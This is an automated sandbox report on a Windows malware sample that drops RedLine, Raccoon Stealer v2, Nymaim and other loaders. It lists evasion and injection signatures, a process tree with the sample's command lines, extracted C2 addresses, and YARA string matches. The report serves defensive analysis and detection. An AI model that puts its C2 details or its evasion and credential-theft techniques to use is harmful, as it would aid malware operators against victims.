Edit tour

Windows Analysis Report
fJe9em23BB.exe

Overview

General Information

Sample Name:	fJe9em23BB.exe
Analysis ID:	696549
MD5:	e18b3707ff095f5dd8eac23474e25809
SHA1:	996770ce74c9f7a0f6f1223bd37447bdea794372
SHA256:	2d29625e81eed2aaafbcedffe4e177ca78189c71be60c6526daf35b3dcb8fa05
Tags:	116-203-105-117exe
Infos:

Detection

Fabookie, ManusCrypt, Nymaim, PrivateLoader, Raccoon Stealer v2, RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Detected unpacking (overwrites its own PE header)

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Snort IDS alert for network traffic

Yara detected Raccoon Stealer v2

Multi AV Scanner detection for submitted file

Yara detected Fabookie

Malicious sample detected (through community Yara rule)

Yara detected Nymaim

Yara detected ManusCrypt

Multi AV Scanner detection for dropped file

Yara detected PrivateLoader

Disable Windows Defender real time protection (registry)

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Tries to detect sandboxes and other dynamic analysis tools (window names)

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Creates processes via WMI

Machine Learning detection for sample

Drops PE files to the document folder of the user

Allocates memory in foreign processes

May check the online IP address of the machine

Injects a PE file into a foreign processes

Tries to evade analysis by execution special instruction (VM detection)

Tries to detect virtualization through RDTSC time measurements

Creates a thread in another existing process (thread injection)

Modifies Group Policy settings

Hides that the sample has been downloaded from the Internet (zone.identifier)

Tries to harvest and steal browser information (history, passwords, etc)

PE file contains section with special chars

Hides threads from debuggers

Detected VMProtect packer

Writes to foreign memory regions

Tries to steal Crypto Currency Wallets

Creates HTML files with .exe extension (expired dropper behavior)

Found C&C like URL pattern

Yara detected Generic Downloader

Machine Learning detection for dropped file

Disables Windows Defender (deletes autostart)

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Sets debug register (to hijack the execution of another thread)

Antivirus or Machine Learning detection for unpacked file

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

PE file contains more sections than normal

Launches processes in debugging mode, may be used to hinder debugging

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Creates files inside the system directory

PE file contains sections with non-standard names

Stores large binary data to the registry

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

Entry point lies outside standard sections

Enables debug privileges

Is looking for software installed on the system

Sample file is different than original file name gathered from version info

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Allocates memory with a write watch (potentially for evading sandboxes)

File is packed with WinRar

Contains capabilities to detect virtual machines

Uses taskkill to terminate processes

Queries disk information (often used to detect virtual machines)

Classification

Process Tree

System is w10x64

fJe9em23BB.exe (PID: 832 cmdline: "C:\Users\user\Desktop\fJe9em23BB.exe" MD5: E18B3707FF095F5DD8EAC23474E25809)

GWafJDbetTJK0ciVGh5n0Df1.exe (PID: 6360 cmdline: "C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe" MD5: 106078BB0964B75800DA2013419239D9)

0RWCjOTmPGy8vyz30vD2T7Gp.exe (PID: 6368 cmdline: "C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe" MD5: 7C21DE05BE518F55C847F18E46F4F65D)

control.exe (PID: 6760 cmdline: "C:\Windows\System32\control.exe" "C:\Users\user\AppData\Local\Temp\VPGy.cpL", MD5: 40FBA3FBFD5E33E0DE1BA45472FDA66F)

rundll32.exe (PID: 7016 cmdline: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\VPGy.cpL", MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 4584 cmdline: C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\VPGy.cpL", MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 4484 cmdline: "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\user\AppData\Local\Temp\VPGy.cpL", MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

VSVo7xFGZNVBCHvpzHHk7X6w.exe (PID: 6376 cmdline: "C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe" MD5: 77D8DF4427C8B1A28C8D2591A9C92A70)

ze5tCopHgrlItmsTQGIZcUK1.exe (PID: 6384 cmdline: "C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe" MD5: 9519C85C644869F182927D93E8E25A33)

3IvnW3Tihs6HZPHX18cvdMMt.exe (PID: 6412 cmdline: "C:\Users\user\Pictures\Minor Policy\3IvnW3Tihs6HZPHX18cvdMMt.exe" MD5: D33F5C381C8A2DC544C313355BA4EB64)

is-L9EAU.tmp (PID: 6772 cmdline: "C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp" /SL4 $203DC "C:\Users\user\Pictures\Minor Policy\3IvnW3Tihs6HZPHX18cvdMMt.exe" 2324125 52736 MD5: FEC7BFF4C36A4303ADE51E3ED704E708)

ccsearcher.exe (PID: 6328 cmdline: "C:\Program Files (x86)\ccSearcher\ccsearcher.exe" MD5: 0545F55B7F65691C450919EE98E9C6B8)

cmd.exe (PID: 5292 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /im "ccsearcher.exe" /f & erase "C:\Program Files (x86)\ccSearcher\ccsearcher.exe" & exit MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

taskkill.exe (PID: 2620 cmdline: taskkill /im "ccsearcher.exe" /f MD5: 15E2E0ACD891510C6268CB8899F2A1A1)

aJLVqZit29LEEhRpCpbwWX8O.exe (PID: 6420 cmdline: "C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe" MD5: 469B0C97D2AA9A03581536D485BC8864)

GnPinkNTKlMRD3bjBO0oh3Wa.exe (PID: 6428 cmdline: "C:\Users\user\Pictures\Minor Policy\GnPinkNTKlMRD3bjBO0oh3Wa.exe" MD5: 76000A1A15850FCAA06877E21F7EB348)

conhost.exe (PID: 6540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

lxZuX__vSUgWYReh9N0WlQOa.exe (PID: 6436 cmdline: "C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe" MD5: 2EF8DA551CF5AB2AB6E3514321791EAB)

conhost.exe (PID: 6484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

lxZuX__vSUgWYReh9N0WlQOa.exe (PID: 6904 cmdline: "C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe" -h MD5: 2EF8DA551CF5AB2AB6E3514321791EAB)

conhost.exe (PID: 6956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

S4FBxlLjDvaMdcwHZaTlWrII.exe (PID: 6444 cmdline: "C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe" MD5: 83FD77104C17653424A3D3894DBE8793)

WmiPrvSE.exe (PID: 6304 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: A782A4ED336750D10B3CAF776AFE8E70)

rundll32.exe (PID: 4656 cmdline: rundll32.exe "C:\Users\user\AppData\Local\Temp\db.dll",open MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 2020 cmdline: rundll32.exe "C:\Users\user\AppData\Local\Temp\db.dll",open MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

svchost.exe (PID: 4960 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s Appinfo MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5228 cmdline: C:\Windows\system32\svchost.exe -k WspService MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

Threatname: Nymaim

{"C2 addresses": ["208.67.104.97"]}

Threatname: RedLine

{"C2 url": "94.228.116.72:7597", "Bot Id": "Fire7"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\Documents\xZ66PEkwf7Jo3irS4cyXoDE4.exe	MALWARE_Win_DLInjector06	Detects downloader / injector	ditekSHen	0x5be30:$s1: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 0x5b958:$s2: Content-Type: application/x-www-form-urlencoded 0x5b9c0:$s2: Content-Type: application/x-www-form-urlencoded 0x5ba28:$s2: Content-Type: application/x-www-form-urlencoded 0x5ba90:$s2: Content-Type: application/x-www-form-urlencoded 0x5baf8:$s2: Content-Type: application/x-www-form-urlencoded 0x5bb60:$s2: Content-Type: application/x-www-form-urlencoded 0x5bbc8:$s2: Content-Type: application/x-www-form-urlencoded 0x5bc58:$s2: Content-Type: application/x-www-form-urlencoded 0x5bc2c:$s3: https://ipinfo.io/ 0x5bcbc:$s4: https://db-ip.com/ 0x5bd18:$s5: https://www.maxmind.com/en/locate-my-ip-address 0x5bce4:$s6: https://ipgeolocation.io/ 0x5be24:$s7: POST
C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	MALWARE_Win_DLInjector06	Detects downloader / injector	ditekSHen	0x5be30:$s1: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 0x5b958:$s2: Content-Type: application/x-www-form-urlencoded 0x5b9c0:$s2: Content-Type: application/x-www-form-urlencoded 0x5ba28:$s2: Content-Type: application/x-www-form-urlencoded 0x5ba90:$s2: Content-Type: application/x-www-form-urlencoded 0x5baf8:$s2: Content-Type: application/x-www-form-urlencoded 0x5bb60:$s2: Content-Type: application/x-www-form-urlencoded 0x5bbc8:$s2: Content-Type: application/x-www-form-urlencoded 0x5bc58:$s2: Content-Type: application/x-www-form-urlencoded 0x5bc2c:$s3: https://ipinfo.io/ 0x5bcbc:$s4: https://db-ip.com/ 0x5bd18:$s5: https://www.maxmind.com/en/locate-my-ip-address 0x5bce4:$s6: https://ipgeolocation.io/ 0x5be24:$s7: POST
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\Service[1].exe	MALWARE_Win_DLInjector06	Detects downloader / injector	ditekSHen	0x5be30:$s1: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 0x5b958:$s2: Content-Type: application/x-www-form-urlencoded 0x5b9c0:$s2: Content-Type: application/x-www-form-urlencoded 0x5ba28:$s2: Content-Type: application/x-www-form-urlencoded 0x5ba90:$s2: Content-Type: application/x-www-form-urlencoded 0x5baf8:$s2: Content-Type: application/x-www-form-urlencoded 0x5bb60:$s2: Content-Type: application/x-www-form-urlencoded 0x5bbc8:$s2: Content-Type: application/x-www-form-urlencoded 0x5bc58:$s2: Content-Type: application/x-www-form-urlencoded 0x5bc2c:$s3: https://ipinfo.io/ 0x5bcbc:$s4: https://db-ip.com/ 0x5bd18:$s5: https://www.maxmind.com/en/locate-my-ip-address 0x5bce4:$s6: https://ipgeolocation.io/ 0x5be24:$s7: POST
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\Service[1].exe	MALWARE_Win_DLInjector06	Detects downloader / injector	ditekSHen	0x5be30:$s1: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 0x5b958:$s2: Content-Type: application/x-www-form-urlencoded 0x5b9c0:$s2: Content-Type: application/x-www-form-urlencoded 0x5ba28:$s2: Content-Type: application/x-www-form-urlencoded 0x5ba90:$s2: Content-Type: application/x-www-form-urlencoded 0x5baf8:$s2: Content-Type: application/x-www-form-urlencoded 0x5bb60:$s2: Content-Type: application/x-www-form-urlencoded 0x5bbc8:$s2: Content-Type: application/x-www-form-urlencoded 0x5bc58:$s2: Content-Type: application/x-www-form-urlencoded 0x5bc2c:$s3: https://ipinfo.io/ 0x5bcbc:$s4: https://db-ip.com/ 0x5bd18:$s5: https://www.maxmind.com/en/locate-my-ip-address 0x5bce4:$s6: https://ipgeolocation.io/ 0x5be24:$s7: POST
C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	MALWARE_Win_DLInjector06	Detects downloader / injector	ditekSHen	0x5be30:$s1: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 0x5b958:$s2: Content-Type: application/x-www-form-urlencoded 0x5b9c0:$s2: Content-Type: application/x-www-form-urlencoded 0x5ba28:$s2: Content-Type: application/x-www-form-urlencoded 0x5ba90:$s2: Content-Type: application/x-www-form-urlencoded 0x5baf8:$s2: Content-Type: application/x-www-form-urlencoded 0x5bb60:$s2: Content-Type: application/x-www-form-urlencoded 0x5bbc8:$s2: Content-Type: application/x-www-form-urlencoded 0x5bc58:$s2: Content-Type: application/x-www-form-urlencoded 0x5bc2c:$s3: https://ipinfo.io/ 0x5bcbc:$s4: https://db-ip.com/ 0x5bd18:$s5: https://www.maxmind.com/en/locate-my-ip-address 0x5bce4:$s6: https://ipgeolocation.io/ 0x5be24:$s7: POST

Memory Dumps

Source	Rule	Description	Author	Strings
00000015.00000003.540772081.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000028.00000002.778075729.000001455DF00000.00000004.00001000.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6506e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
00000028.00000002.778075729.000001455DF00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
00000028.00000002.778075729.000001455DF00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x576f0:$a: _kasssperskdy 0x5861e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
00000015.00000003.460036355.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.521597396.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000028.00000002.796293389.000001455E0B4000.00000004.00000020.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x515a:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
00000015.00000003.530972605.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.465758664.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000012.00000002.851512502.0000000005100000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000012.00000002.851512502.0000000005100000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000012.00000002.851512502.0000000005100000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x257a2:$pat14: , CommandLine: 0x1d3a3:$v2_1: ListOfProcesses 0x1a27d:$v4_3: base64str 0x1a25a:$v4_4: stringKey 0x1a287:$v4_5: BytesToStringConverted 0x1a272:$v4_6: FromBase64 0x1d156:$v4_8: procName 0x18dc3:$v5_1: DownloadAndExecuteUpdate 0x18deb:$v5_2: ITaskProcessor 0x18db1:$v5_3: CommandLineUpdate 0x18ddc:$v5_4: DownloadUpdate 0x18d25:$v5_5: FileScanning 0x18fd7:$v5_7: RecordHeaderField 0x18f01:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
00000015.00000003.517857013.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.489327209.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.520484407.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000023.00000002.505991402.0000000000400000.00000040.00000001.01000000.0000001A.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000015.00000003.543732233.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.473698984.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.475326328.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.526016673.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000012.00000002.820187744.0000000002A30000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000012.00000002.820187744.0000000002A30000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000012.00000002.820187744.0000000002A30000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x2668a:$pat14: , CommandLine: 0x1e28b:$v2_1: ListOfProcesses 0x1b165:$v4_3: base64str 0x1b142:$v4_4: stringKey 0x1b16f:$v4_5: BytesToStringConverted 0x1b15a:$v4_6: FromBase64 0x1e03e:$v4_8: procName 0x19cab:$v5_1: DownloadAndExecuteUpdate 0x19cd3:$v5_2: ITaskProcessor 0x19c99:$v5_3: CommandLineUpdate 0x19cc4:$v5_4: DownloadUpdate 0x19c0d:$v5_5: FileScanning 0x19ebf:$v5_7: RecordHeaderField 0x19de9:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
00000015.00000003.487480622.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.469103943.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.480154149.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000012.00000002.836798113.0000000002F99000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000003.436240829.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.523146773.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.417688363.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000000.00000003.254312255.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_PrivateLoader	Yara detected PrivateLoader	Joe Security
00000015.00000003.504004671.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000023.00000002.513194138.0000000003530000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000015.00000003.541842621.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.483805730.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.446584412.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.444587772.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.529172533.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000027.00000003.469548864.000001DE9CC70000.00000004.00000001.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6506e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
00000027.00000003.469548864.000001DE9CC70000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
00000027.00000003.469548864.000001DE9CC70000.00000004.00000001.00020000.00000000.sdmp	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x576f0:$a: _kasssperskdy 0x5861e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
00000015.00000003.467950342.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000025.00000002.642624118.0000000004E10000.00000004.00001000.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x53366:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
00000025.00000002.642624118.0000000004E10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
00000025.00000002.642624118.0000000004E10000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_Fabookie	Detects Fabookie / ElysiumStealer	ditekSHen	0x4c6e6:$s1: rwinssyslog 0x4caec:$s2: _kasssperskdy 0x4ca88:$s3: [Title:%s] 0x4cbfc:$s4: [Execute] 0x4cc10:$s5: [Snapshot] 0x4d484:$s6: Mozilla/4.0 (compatible) 0x4de3c:$s9: CUdpClient::Start
00000025.00000002.642624118.0000000004E10000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x4caec:$a: _kasssperskdy 0x4d6ae:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
00000015.00000003.477882930.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.429674190.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.511065028.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.446062474.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000028.00000003.527016675.000001455E0A4000.00000004.00000020.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x1515a:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
00000015.00000003.533344638.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000028.00000002.800912311.000001456011C000.00000004.00000020.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x95a:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
00000015.00000003.419537601.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.472173375.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000028.00000002.800410599.0000014560100000.00000004.00000020.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x20ea:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
00000015.00000003.470100738.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.527663624.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.524265551.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000012.00000002.818385151.00000000028C2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000015.00000003.481590933.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.476552965.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000025.00000002.649681135.0000000004EB4000.00000040.00001000.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x10d66:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
00000025.00000002.649681135.0000000004EB4000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
00000025.00000002.649681135.0000000004EB4000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Generic_a681f24a	unknown	unknown	0xa4ec:$a: _kasssperskdy 0xb0ae:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
00000028.00000002.810736997.0000014561240000.00000004.00000020.00020000.00000000.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0xe2c0c:$xo1: "7$!!,bxc}
00000028.00000002.810736997.0000014561240000.00000004.00000020.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0xaa:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
00000015.00000003.518898959.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000012.00000002.821666339.0000000002C55000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000028.00000003.505876759.000001455E0A4000.00000004.00000020.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x1515a:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
00000015.00000003.515946065.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000003.439004330.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
